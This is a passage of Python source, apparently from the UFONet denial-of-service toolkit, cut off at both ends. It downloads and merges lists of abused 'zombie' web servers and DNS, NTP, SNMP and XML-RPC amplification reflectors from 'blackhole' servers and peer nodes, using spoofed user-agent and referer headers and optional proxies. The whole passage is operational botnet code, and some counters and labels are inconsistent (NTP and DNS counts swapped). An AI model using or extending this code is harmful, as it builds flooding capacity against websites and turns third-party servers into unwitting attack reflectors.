  2489. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  2490. tv = urllib.request.Request('http://'+self.blackhole+'/ufonet/tv.txt', None, headers)
  2491. tv_reply = urllib.request.urlopen(tv, context=self.ctx).read().decode('utf-8')
  2492. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2493. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  2494. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2495. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  2496. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2497. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  2498. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2499. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  2500. links = urllib.request.Request('http://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2501. links_reply = urllib.request.urlopen(links, context=self.ctx).read().decode('utf-8')
  2502. streams = urllib.request.Request('http://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2503. streams_reply = urllib.request.urlopen(streams, context=self.ctx).read().decode('utf-8')
  2504. globalnet = urllib.request.Request('http://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2505. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx).read().decode('utf-8')
  2506. nodes = urllib.request.Request('http://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
  2507. nodes_reply = urllib.request.urlopen(nodes, context=self.ctx).read().decode('utf-8')
  2508. f = open(self.news_file, 'w')
  2509. f.write(news_reply)
  2510. f.close()
  2511. f = open(self.tv_file, 'w')
  2512. f.write(tv_reply)
  2513. f.close()
  2514. f = open(self.missions_file, 'w')
  2515. f.write(missions_reply)
  2516. f.close()
  2517. f = open(self.board_file, 'w')
  2518. f.write(board_reply)
  2519. f.close()
  2520. f = open(self.grid_file, 'w')
  2521. f.write(grid_reply)
  2522. f.close()
  2523. f = open(self.wargames_file, 'w')
  2524. f.write(wargames_reply)
  2525. f.close()
  2526. f = open(self.links_file, 'w')
  2527. f.write(links_reply)
  2528. f.close()
  2529. f = open(self.streams_file, 'w')
  2530. f.write(streams_reply)
  2531. f.close()
  2532. f = open(self.globalnet_file, 'w')
  2533. f.write(globalnet_reply)
  2534. f.close()
  2535. f = open(self.nodes_file, 'w')
  2536. f.write(nodes_reply)
  2537. f.close()
  2538. print('-'*25 + "\n")
  2539. print("[Info] [AI] GUI data correctly updated:\n")
  2540. if news_reply:
  2541. print("[Info] [AI] [News] : OK!")
  2542. if missions_reply:
  2543. print("[Info] [AI] [Missions] : OK!")
  2544. if board_reply:
  2545. print("[Info] [AI] [Board] : OK!")
  2546. if grid_reply:
  2547. print("[Info] [AI] [Grid] : OK!")
  2548. if wargames_reply:
  2549. print("[Info] [AI] [Wargames] : OK!")
  2550. if links_reply:
  2551. print("[Info] [AI] [Links] : OK!")
  2552. if streams_reply:
  2553. print("[Info] [AI] [Streams] : OK!")
  2554. if tv_reply:
  2555. print("[Info] [AI] [TV] : OK!")
  2556. if globalnet_reply:
  2557. print("[Info] [AI] [GlobalNet]: OK!")
  2558. if nodes_reply:
  2559. print("[Info] [AI] [Nodes] : OK!")
  2560. print('-'*25)
  2561. print("\n[AI] "+self.exit_msg+"\n")
  2562. def downloading_list(self):
  2563. # add your mirror to protect/share/distribute... [Zombies]
  2564. try:
  2565. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  2566. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2567. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2568. if self.options.timeout: # set timeout
  2569. try:
  2570. timeout = int(self.options.timeout)
  2571. except:
  2572. timeout = 5
  2573. else:
  2574. timeout = 5
  2575. if timeout < 1:
  2576. timeout = 5
  2577. if self.options.proxy: # set proxy
  2578. self.proxy_transport(self.options.proxy)
  2579. if self.options.forcessl:
  2580. try:
  2581. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2582. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2583. except:
  2584. abductions_reply = ""
  2585. try:
  2586. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2587. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2588. except:
  2589. troops_reply = ""
  2590. try:
  2591. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2592. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2593. except:
  2594. robots_reply = ""
  2595. try:
  2596. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2597. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2598. except:
  2599. drones_reply = ""
  2600. try:
  2601. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2602. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2603. except:
  2604. reflectors_reply = ""
  2605. try:
  2606. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2607. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2608. except:
  2609. crystals_reply = ""
  2610. try:
  2611. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2612. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2613. except:
  2614. warps_reply = ""
  2615. try:
  2616. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2617. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2618. except:
  2619. bosons_reply = ""
  2620. else:
  2621. try:
  2622. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2623. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2624. except:
  2625. abductions_reply = ""
  2626. try:
  2627. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2628. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2629. except:
  2630. troops_reply = ""
  2631. try:
  2632. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2633. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2634. except:
  2635. robots_reply = ""
  2636. try:
  2637. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2638. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2639. except:
  2640. drones_reply = ""
  2641. try:
  2642. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2643. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2644. except:
  2645. reflectors_reply = ""
  2646. try:
  2647. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2648. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2649. except:
  2650. crystals_reply = ""
  2651. try:
  2652. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2653. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2654. except:
  2655. warps_reply = ""
  2656. try:
  2657. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2658. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2659. except:
  2660. bosons_reply = ""
  2661. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  2662. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2663. print('-'*12 + '\n')
  2664. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2665. return
  2666. f = open('botnet/abductions.txt.gz', 'wb')
  2667. f.write(abductions_reply)
  2668. f.close()
  2669. f = open('botnet/troops.txt.gz', 'wb')
  2670. f.write(troops_reply)
  2671. f.close()
  2672. f = open('botnet/robots.txt.gz', 'wb')
  2673. f.write(robots_reply)
  2674. f.close()
  2675. f = open('botnet/drones.txt.gz', 'wb')
  2676. f.write(drones_reply)
  2677. f.close()
  2678. f = open('botnet/reflectors.txt.gz', 'wb')
  2679. f.write(reflectors_reply)
  2680. f.close()
  2681. f = open('botnet/crystals.txt.gz', 'wb')
  2682. f.write(crystals_reply)
  2683. f.close()
  2684. f = open('botnet/warps.txt.gz', 'wb')
  2685. f.write(warps_reply)
  2686. f.close()
  2687. f = open('botnet/bosons.txt.gz', 'wb')
  2688. f.write(bosons_reply)
  2689. f.close()
  2690. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2691. except:
  2692. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2693. print('-'*12 + '\n')
  2694. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2695. return
  2696. print('-'*12 + '\n')
  2697. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  2698. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2699. f_out_abductions.write(f_in_abductions.read())
  2700. f_in_abductions.close()
  2701. f_out_abductions.close()
  2702. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  2703. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  2704. f_out_troops = open('botnet/troops.txt', 'wb')
  2705. f_out_troops.write(f_in_troops.read())
  2706. f_in_troops.close()
  2707. f_out_troops.close()
  2708. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  2709. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  2710. f_out_robots = open('botnet/robots.txt', 'wb')
  2711. f_out_robots.write(f_in_robots.read())
  2712. f_in_robots.close()
  2713. f_out_robots.close()
  2714. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  2715. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  2716. f_out_drones = open('botnet/drones.txt', 'wb')
  2717. f_out_drones.write(f_in_drones.read())
  2718. f_in_drones.close()
  2719. f_out_drones.close()
  2720. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  2721. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  2722. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2723. f_out_reflectors.write(f_in_reflectors.read())
  2724. f_in_reflectors.close()
  2725. f_out_reflectors.close()
  2726. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  2727. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  2728. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2729. f_out_crystals.write(f_in_crystals.read())
  2730. f_in_crystals.close()
  2731. f_out_crystals.close()
  2732. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  2733. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  2734. f_out_warps = open('botnet/warps.txt', 'wb')
  2735. f_out_warps.write(f_in_warps.read())
  2736. f_in_warps.close()
  2737. f_out_warps.close()
  2738. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  2739. f_in_bosons = gzip.open('botnet/bosons.txt.gz', 'rb')
  2740. f_out_bosons = open('botnet/bosons.txt', 'wb')
  2741. f_out_bosons.write(f_in_bosons.read())
  2742. f_in_bosons.close()
  2743. f_out_bosons.close()
  2744. os.remove('botnet/bosons.txt.gz') # remove bosons .gz file
  2745. num_abductions = 0
  2746. with open('botnet/abductions.txt') as f:
  2747. for _ in f:
  2748. num_abductions = num_abductions + 1
  2749. print("[Info] Zombies: " + str(num_abductions))
  2750. num_robots = 0
  2751. with open('botnet/robots.txt') as f:
  2752. for _ in f:
  2753. num_robots = num_robots + 1
  2754. print("[Info] Droids : " + str(num_robots))
  2755. num_troops = 0
  2756. with open('botnet/troops.txt') as f:
  2757. for _ in f:
  2758. num_troops = num_troops + 1
  2759. print("[Info] Aliens : " + str(num_troops))
  2760. num_drones = 0
  2761. with open('botnet/drones.txt') as f:
  2762. for _ in f:
  2763. num_drones = num_drones + 1
  2764. print("[Info] UCAVs : " + str(num_drones))
  2765. num_reflectors = 0
  2766. with open('botnet/reflectors.txt') as f:
  2767. for _ in f:
  2768. num_reflectors = num_reflectors + 1
  2769. print("[Info] X-RPCs : " + str(num_reflectors))
  2770. num_crystals = 0
  2771. with open('botnet/crystals.txt') as f:
  2772. for _ in f:
  2773. num_crystals = num_crystals + 1
  2774. print("[Info] DNSs : " + str(num_crystals))
  2775. num_warps = 0
  2776. with open('botnet/warps.txt') as f:
  2777. for _ in f:
  2778. num_warps = num_warps + 1
  2779. print("[Info] NTPs : " + str(num_warps))
  2780. num_bosons = 0
  2781. with open('botnet/bosons.txt') as f:
  2782. for _ in f:
  2783. num_bosons = num_bosons + 1
  2784. print("[Info] SNMPs : " + str(num_bosons))
  2785. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  2786. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2787. print('-'*12)
  2788. if not self.options.forceyes:
  2789. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2790. print('-'*25)
  2791. else:
  2792. update_reply = "Y"
  2793. if update_reply == "n" or update_reply == "N":
  2794. os.remove('botnet/abductions.txt') # remove abductions file
  2795. os.remove('botnet/troops.txt') # remove troops file
  2796. os.remove('botnet/robots.txt') # remove robots file
  2797. os.remove('botnet/drones.txt') # remove drones file
  2798. os.remove('botnet/reflectors.txt') # remove reflectors file
  2799. os.remove('botnet/crystals.txt') # remove crystals file
  2800. os.remove('botnet/warps.txt') # remove warps file
  2801. os.remove('botnet/bosons.txt') # remove bosons file
  2802. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2803. print('-'*25)
  2804. print("\n[AI] "+self.exit_msg+"\n")
  2805. else:
  2806. zombies_ready = []
  2807. f = open('botnet/abductions.txt')
  2808. abductions = f.readlines()
  2809. f.close()
  2810. fz = open(self.zombies_file)
  2811. zombies = fz.readlines()
  2812. fz.close()
  2813. for abduction in abductions:
  2814. abduction = abduction.replace('\n','')
  2815. if abduction not in zombies:
  2816. zombies_ready.append(abduction)
  2817. else:
  2818. pass
  2819. self.update_zombies(zombies_ready)
  2820. os.remove('botnet/abductions.txt') # remove abductions .txt file
  2821. aliens_ready = []
  2822. f = open('botnet/troops.txt')
  2823. troops = f.readlines()
  2824. f.close()
  2825. fz = open(self.aliens_file)
  2826. aliens = fz.readlines()
  2827. fz.close()
  2828. for alien in troops:
  2829. alien = alien.replace('\n','')
  2830. if alien not in aliens:
  2831. aliens_ready.append(alien)
  2832. else:
  2833. pass
  2834. self.update_aliens(aliens_ready)
  2835. os.remove('botnet/troops.txt') # remove troops .txt file
  2836. droids_ready = []
  2837. f = open('botnet/robots.txt')
  2838. robots = f.readlines()
  2839. f.close()
  2840. fz = open(self.droids_file)
  2841. droids = fz.readlines()
  2842. fz.close()
  2843. for droid in robots:
  2844. droid = droid.replace('\n','')
  2845. if droid not in droids:
  2846. droids_ready.append(droid)
  2847. else:
  2848. pass
  2849. self.update_droids(droids_ready)
  2850. os.remove('botnet/robots.txt') # remove robots .txt file
  2851. ucavs_ready = []
  2852. f = open('botnet/drones.txt')
  2853. drones = f.readlines()
  2854. f.close()
  2855. fz = open(self.ucavs_file)
  2856. ucavs = fz.readlines()
  2857. fz.close()
  2858. for drone in drones:
  2859. drone = drone.replace('\n','')
  2860. if drone not in ucavs:
  2861. ucavs_ready.append(drone)
  2862. else:
  2863. pass
  2864. self.update_ucavs(ucavs_ready)
  2865. os.remove('botnet/drones.txt') # remove drones .txt file
  2866. rpcs_ready = []
  2867. f = open('botnet/reflectors.txt')
  2868. reflectors = f.readlines()
  2869. f.close()
  2870. fz = open(self.rpcs_file)
  2871. rpcs = fz.readlines()
  2872. fz.close()
  2873. for reflector in reflectors:
  2874. reflector = reflector.replace('\n','')
  2875. if reflector not in rpcs:
  2876. rpcs_ready.append(reflector)
  2877. else:
  2878. pass
  2879. self.update_rpcs(rpcs_ready)
  2880. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  2881. dnss_ready = []
  2882. f = open('botnet/crystals.txt')
  2883. crystals = f.readlines()
  2884. f.close()
  2885. fz = open(self.dnss_file)
  2886. dnss = fz.readlines()
  2887. fz.close()
  2888. for crystal in crystals:
  2889. crystal = crystal.replace('\n','')
  2890. if crystal not in dnss:
  2891. dnss_ready.append(crystal)
  2892. else:
  2893. pass
  2894. self.update_dnss(dnss_ready)
  2895. os.remove('botnet/crystals.txt') # remove crystals .txt file
  2896. ntps_ready = []
  2897. f = open('botnet/warps.txt')
  2898. warps = f.readlines()
  2899. f.close()
  2900. fz = open(self.ntps_file)
  2901. ntps = fz.readlines()
  2902. fz.close()
  2903. for warp in warps:
  2904. warp = warp.replace('\n','')
  2905. if warp not in ntps:
  2906. ntps_ready.append(warp)
  2907. else:
  2908. pass
  2909. self.update_ntps(ntps_ready)
  2910. os.remove('botnet/warps.txt') # remove warps .txt file
  2911. snmps_ready = []
  2912. f = open('botnet/bosons.txt')
  2913. bosons = f.readlines()
  2914. f.close()
  2915. fz = open(self.snmps_file)
  2916. snmps = fz.readlines()
  2917. fz.close()
  2918. for boson in bosons:
  2919. boson = boson.replace('\n','')
  2920. if boson not in snmps:
  2921. snmps_ready.append(boson)
  2922. else:
  2923. pass
  2924. self.update_snmps(snmps_ready)
  2925. os.remove('botnet/bosons.txt') # remove bosons .txt file
  2926. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2927. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2928. if not self.options.forceyes: # ask for update everything
  2929. print('-'*25 + "\n")
  2930. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  2931. else:
  2932. update_reply = "Y"
  2933. if update_reply == "n" or update_reply == "N":
  2934. print("\n[AI] "+self.exit_msg+"\n")
  2935. return
  2936. else:
  2937. try:
  2938. update_gui = self.update_gui_data() # update GUI data
  2939. except:
  2940. print('-'*25 +"\n")
  2941. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2942. print('-'*25)
  2943. print("\n[AI] "+self.exit_msg+"\n")
  2944. return
  2945. def downloading_nodes_list(self):
  2946. # add your node to protect/share/distribute... [Zombies]
  2947. from io import BytesIO
  2948. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2949. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2950. n = open(self.globalnet_file, 'r')
  2951. nodes = n.readlines()
  2952. n.close()
  2953. if not nodes:
  2954. print("[AI] [Control] Not any [Nodes] present in your [Radar]... [Exiting!]\n")
  2955. return
  2956. globalnet_list = []
  2957. if self.options.timeout: # set timeout
  2958. try:
  2959. timeout = int(self.options.timeout)
  2960. except:
  2961. timeout = 5
  2962. else:
  2963. timeout = 5
  2964. if timeout < 1:
  2965. timeout = 5
  2966. if self.options.proxy: # set proxy
  2967. self.proxy_transport(self.options.proxy)
  2968. globalnet_ip_list = [] # used to check for repetitions
  2969. for m in nodes:
  2970. m = m.replace('\n','')
  2971. if self.globalnet_msg_sep in m:
  2972. m = m.split(self.globalnet_msg_sep)
  2973. enc_globalnet_owner = m[0] # owner
  2974. enc_globalnet_comment = m[1] # comment
  2975. enc_globalnet_warp = m[2] # warp
  2976. enc_globalnet_ip = m[3] # extract IP
  2977. self.decrypt(self.crypto_key, enc_globalnet_ip)
  2978. if self.decryptedtext:
  2979. globalnet_ip = self.decryptedtext
  2980. if globalnet_ip not in globalnet_ip_list:
  2981. globalnet_ip_list.append(globalnet_ip)
  2982. else:
  2983. return
  2984. self.decryptedtext = "" # clean decryptedtext buffer
  2985. print("[AI] Trying [Radar] [Blackhole] [Node]:", globalnet_ip, "\n")
  2986. if self.options.forcessl:
  2987. if self.options.proxy: # set proxy
  2988. self.proxy_transport(options.proxy)
  2989. try:
  2990. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
  2991. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2992. except:
  2993. abductions_reply = ""
  2994. try:
  2995. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
  2996. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2997. except:
  2998. troops_reply = ""
  2999. try:
  3000. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
  3001. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3002. except:
  3003. robots_reply = ""
  3004. try:
  3005. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
  3006. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3007. except:
  3008. drones_reply = ""
  3009. try:
  3010. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
  3011. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3012. except:
  3013. reflectors_reply = ""
  3014. try:
  3015. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
  3016. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3017. except:
  3018. crystals_reply = ""
  3019. try:
  3020. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
  3021. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3022. except:
  3023. warps_reply = ""
  3024. try:
  3025. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
  3026. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3027. except:
  3028. bosons_reply = ""
  3029. else:
  3030. if self.options.proxy: # set proxy
  3031. self.proxy_transport(options.proxy)
  3032. try:
  3033. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
  3034. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3035. except:
  3036. abductions_reply = ""
  3037. try:
  3038. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
  3039. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3040. except:
  3041. troops_reply = ""
  3042. try:
  3043. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
  3044. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3045. except:
  3046. robots_reply = ""
  3047. try:
  3048. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
  3049. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3050. except:
  3051. drones_reply = ""
  3052. try:
  3053. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
  3054. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3055. except:
  3056. reflectors_reply = ""
  3057. try:
  3058. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
  3059. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3060. except:
  3061. crystals_reply = ""
  3062. try:
  3063. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
  3064. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3065. except:
  3066. warps_reply = ""
  3067. try:
  3068. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
  3069. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3070. except:
  3071. bosons_reply = ""
  3072. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  3073. print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX FAILED!]\n")
  3074. print("[AI] [Control] [Radar] [Blackhole] [Node] Action: [Removing!]")
  3075. print('-'*12 + '\n')
  3076. else:
  3077. print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX READY!] ;-)")
  3078. print('-'*12)
  3079. num_zombies = 0
  3080. if abductions_reply:
  3081. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  3082. f_out_abductions = open('botnet/abductions.txt', 'wb')
  3083. f_out_abductions.write(f_in_abductions.read())
  3084. f_in_abductions.close()
  3085. f_out_abductions.close()
  3086. with open('botnet/abductions.txt') as f:
  3087. for _ in f:
  3088. num_zombies = num_zombies + 1
  3089. print("\n[Info] [Radar] [Blackhole] Total [Zombies]: "+ str(num_zombies))
  3090. num_robots = 0
  3091. if robots_reply:
  3092. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  3093. f_out_robots = open('botnet/robots.txt', 'wb')
  3094. f_out_robots.write(f_in_robots.read())
  3095. f_in_robots.close()
  3096. f_out_robots.close()
  3097. with open('botnet/robots.txt') as f:
  3098. for _ in f:
  3099. num_robots = num_robots + 1
  3100. print("[Info] [Radar] [Blackhole] Total [Droids] : "+ str(num_robots))
  3101. num_aliens = 0
  3102. if troops_reply:
  3103. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  3104. f_out_troops = open('botnet/troops.txt', 'wb')
  3105. f_out_troops.write(f_in_troops.read())
  3106. f_in_troops.close()
  3107. f_out_troops.close()
  3108. with open('botnet/troops.txt') as f:
  3109. for _ in f:
  3110. num_aliens = num_aliens + 1
  3111. print("[Info] [Radar] [Blackhole] Total [Aliens] : "+ str(num_aliens))
  3112. num_drones = 0
  3113. if drones_reply:
  3114. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  3115. f_out_drones = open('botnet/drones.txt', 'wb')
  3116. f_out_drones.write(f_in_drones.read())
  3117. f_in_drones.close()
  3118. f_out_drones.close()
  3119. with open('botnet/drones.txt') as f:
  3120. for _ in f:
  3121. num_drones = num_drones + 1
  3122. print("[Info] [Radar] [Blackhole] Total [UCAVs] : "+ str(num_drones))
  3123. num_reflectors = 0
  3124. if reflectors_reply:
  3125. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  3126. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  3127. f_out_reflectors.write(f_in_reflectors.read())
  3128. f_in_reflectors.close()
  3129. f_out_reflectors.close()
  3130. with open('botnet/reflectors.txt') as f:
  3131. for _ in f:
  3132. num_reflectors = num_reflectors + 1
  3133. print("[Info] [Radar] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
  3134. num_crystals = 1 # black magic!
  3135. if crystals_reply:
  3136. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  3137. f_out_crystals = open('botnet/crystals.txt', 'wb')
  3138. f_out_crystals.write(f_in_crystals.read())
  3139. f_in_crystals.close()
  3140. f_out_crystals.close()
  3141. with open('botnet/crystals.txt') as f:
  3142. for _ in f:
  3143. num_crystals = num_crystals + 1
  3144. print("[Info] [Radar] [Blackhole] Total [NTPs] : "+ str(num_crystals))
  3145. num_warps = 1 # black magic!
  3146. if warps_reply:
  3147. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  3148. f_out_warps = open('botnet/warps.txt', 'wb')
  3149. f_out_warps.write(f_in_warps.read())
  3150. f_in_warps.close()
  3151. f_out_warps.close()
  3152. with open('botnet/warps.txt') as f:
  3153. for _ in f:
  3154. num_warps = num_warps + 1
  3155. print("[Info] [Radar] [Blackhole] Total [DNSs] : "+ str(num_warps))
  3156. num_bosons = 0
  3157. if bosons_reply:
  3158. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  3159. f_out_bosons = open('botnet/bosons.txt', 'wb')
  3160. f_out_bosons.write(f_in_bosons.read())
  3161. f_in_bosons.close()
  3162. f_out_bosons.close()
  3163. with open('botnet/bosons.txt') as f:
  3164. for _ in f:
  3165. num_bosons = num_bosons + 1
  3166. print("[Info] [Radar] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
  3167. print('-'*12 + '\n')
  3168. zombies = self.extract_zombies()
  3169. if not zombies:
  3170. return
  3171. zombies_added = 0
  3172. if os.path.isfile('botnet/abductions.txt'):
  3173. f = open('botnet/abductions.txt')
  3174. abductions = f.readlines()
  3175. abductions = [abduction.strip() for abduction in abductions]
  3176. f.close()
  3177. fz = open(self.zombies_file)
  3178. zombies = fz.readlines()
  3179. zombies = [zombie.strip() for zombie in zombies]
  3180. fz.close()
  3181. az = open('botnet/zombies.txt', 'a')
  3182. for abduction in abductions:
  3183. if abduction not in zombies:
  3184. zombies_added = zombies_added + 1
  3185. az.write(abduction+os.linesep)
  3186. else:
  3187. pass
  3188. az.close()
  3189. os.remove('botnet/abductions.txt') # remove abductions file
  3190. print("[Info] [Radar] [Blackhole] Added [Zombies]: " + str(zombies_added))
  3191. droids = self.extract_droids()
  3192. if not droids:
  3193. return
  3194. droids_added = 0
  3195. if os.path.isfile('botnet/robots.txt'):
  3196. f = open('botnet/robots.txt')
